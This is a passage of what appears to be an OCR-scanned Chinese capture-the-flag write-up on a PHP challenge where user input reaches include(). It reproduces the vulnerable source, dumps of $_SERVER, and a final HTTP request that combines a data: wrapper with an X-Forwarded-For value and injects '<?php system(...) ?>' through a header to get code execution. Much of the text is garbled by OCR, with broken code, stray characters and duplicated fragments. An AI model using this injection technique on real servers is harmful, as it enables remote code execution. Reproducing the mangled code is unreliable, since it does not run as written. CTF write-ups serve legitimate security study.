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<?php
stream_wrapper_unregister('php');
if(isset($_GET['hl'])) highlight_file(__ FILE_ );

$mkdir = function($dir) {

system('mkdir -- '.escapeshellarg($dir));
¥
$randFolder = bin2hex(random_bytes(16));
$mkdir('users/'.$randFolder);
chdir('users/'.$randFolder);

$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED FOR'] : $_SERVER['REMOTE
ADDR']);

$userFolder = basename(str_replace(['.','-'1,["',"'"'],$userFolder));

$mkdir($userFolder);

chdir($userFolder);

file put_contents('profile',print_r($_SERVER,true));

chdir('..");

$ GET[ 'page']=str_replace('.',"'',$ GET['page']);

if(!stripos(file_get contents($ _GET['page']),'<?"') && !stripos(file get contents($ GET['page']), 'php')) {
include($_GET[ 'page']);

chdir(__DIR_);
system('rm -rf users/'.$randFolder);
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$_GET[ 'page']=str_replace('."',"'',$_GET['page']);
if(!stripos(file_get contents($ GET['page']),'<?"') && !stripos(file get contents($ GET['page']), 'php')) {

include($_GET['page']);

Zeid<? Mphp=BoR a3 AHEL .

$userFolder = (isset($_SERVER['HTTP_X_FORWARDED FOR']) ? $_SERVER['HTTP_X_FORWARDED FOR'] : $ SERVER[ 'REMOTE
ADDR']);

$userFolder basename(str_replace(['."','-"],["","'"'],%userFolder));

$mkdir($userFolder);
chdir($userFolder);
file put contents('profile',print_r($_SERVER,true));

fi N7 X_FORWARDED_FOR >k, NI EAE kit 3tk
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<?php

highlight_file(__ FILE_ );

chdir('./");
file put_contents('profile.txt',print_r($_SERVER,true));
include("./profile.txt");
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[DOCUMENT_ROOT] => C:/phpEnv/www/localhost/

[REMOTE_ADDR] => 127.0.0.1

[SERVER_PORT] => 80

[SERVER_ADDR] => 127.0.0.1

[SERVER_NAME] => localhost

[SERVER_SOFTWARE] => Apache/2. 4. 43 (Win64) OpenSSL/1.1.1g mod_fcgid/2. 3. 10-dev

[SERVER_SIGNATURE] =>

[SystemRoot] => C:\WINDOWS

[HTTP_CACHE_CONTROL] => max—age=0

[HTTP_SEC_FETCH_USER] => 21

[HTTP_SEC_FETCH SITE] => none

[HTTP_SEC_FETCH_MODE] => navigate

[HTTP_SEC_FETCH DEST] => document

[HTTP_UPGRADE_INSECURE_REQUESTS] => 1

[HTTP_COOKIE] => PHPSESSID=01d85t1ib5sghc4gkdmTmeahcTn

[HTTP_CONNECTION] => close

[HTTP_ACCEPT ENCODING] => gzip, deflate

[HTTP_ACCEPT_LANGUAGE] => zh—CN, zh;q=0. 8, zh-TW:q=0. 7, zh-HK: ¢=0. 5, en-US;q=0. 3, en; q=0. 2

[HTTP_ACCEPT] => text/html, application/xhtml+xml, application/xml;g=0.9, image/avif, image/wehp, */#;q=0. 8

[HTTP_USER AGENT] => Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
| [HTTP_GET_FLAG] => 123123123 |  [HTTP_HOST] => localhost

LFCGI_ROLE] => RESPONDER

[PHP_SELF] => /test/tl.php

[REQUEST_TIME_FLOAT] => 1635861031. 7058

[REQUEST_TIME] => 1635861031
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= profile.txt
[SERVER_NAME] => localhost

[SERVER_SOFTWARE] => Apache/2.4.43 (Winé4) OpenSSL/1.1.1g mod_fcgid/2.3.10-dev
[SERVER_SIGNATURE] =>

[systemRoot] => C:\WINDOWS

[HTTP_CACHE_CONTROL] => max-age=0

[HTTP_SEC_FETCH_USER] => ?1

[HTTP_SEC_FETCH_SITE] => none

[HTTP_SEC_FETCH_MODE] => navigate

[HTTP_SEC_FETCH_DEST] => document @g SOOE L2
[HTTP_UPGRADE_INSECURE_REQUESTS] => 1

[HTTP_COOKIE] => PHPSESSID=01d85tlib5ghc4gkdm7meahc7n

[HTTP_CONNECTION] => close

[HTTP_ACKEPT_ENCODING] => gzip, deflate

[HTTP_ACCEPT_LANGUAGE] => zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
[HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,*/
[HTTP USER AGENT1 => Mozilla/5.0 (Wipndows NT 10.0; Winé4; xé4; rv:93.8) Gecko/20100101 Firefox/
[HTTP_GET_FLAG] => <?php echo '123123123'; ?>
[HTTP_HOST] => localhost

[FCGI_ROLE] => RESPONDER

[PHP_SELF] => /test/tl.php
[REQUEST_TIME_FLOAT] => 1635861031.7058
[REQUEST_TIME] => 1635861031
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file get contents('data:,xx/profile'); --> string 'xx/profile'’

ude( 'data:,xx/profile"); --> 'data:,xx/profile'’

25 I, f4thpayload :

GET /?page=data:,xx/profile HTTP/1.1
X-Forwarded-For: data:,xx

Get-Flag: <?php system('/get_flag'); ?>

GET /?page=data:,xx/profile HTTP/1.1
X-Forwarded-For: data:,xx #6l&E4% 5 Ndata: , xx )Lk

SZPr Efile_get contents('xx/profile') ANFEEXx I, 45R AfalsesiidiftHlk
nclude(data:,xx/profile), B &$_SERVERMINZ, @& FHiEAIHAT ISR

Get-Flag: <?php system('/get_flag'); ?>
Get-Flagn] LAk plHiAth 4 %
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